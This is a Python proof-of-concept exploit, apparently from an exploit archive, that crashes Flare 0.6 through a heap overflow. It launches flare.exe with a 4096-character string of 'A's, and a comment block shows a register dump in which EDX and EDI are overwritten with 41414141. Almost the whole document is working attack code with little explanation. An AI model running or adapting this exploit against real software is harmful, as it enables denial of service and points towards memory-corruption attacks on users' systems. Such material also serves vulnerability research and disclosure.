Flare 0.6 Heap Overflow Denial Of Service

`#!/usr/bin/env python  
#IRC: irc.nix.co.il<http://irc.nix.co.il>  
#Site: xraysecurity.blogspot.com<http://xraysecurity.blogspot.com> <---- Coming soon!  
  
#Registers:  
#EAX 003E0000  
#ECX 003E1088 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."  
#EDX 41414141  
#EBX 00004141  
#ESP 0022FB0C  
#EBP 0022FBDC  
#ESI 003E1080  
#EDI 41414141  
#EIP 77195B44 ntdll.77195B44  
  
import os, sys  
  
if len(sys.argv) != 1:  
path=sys.argv[1]  
else:  
path='flare.exe'  
  
if not os.path.exists(path):  
print 'Usage: python %s [path to flare.exe]' % sys.argv[0]  
exit(-1)  
  
os.execl(path, path, 'A'*0x1000)  
  
`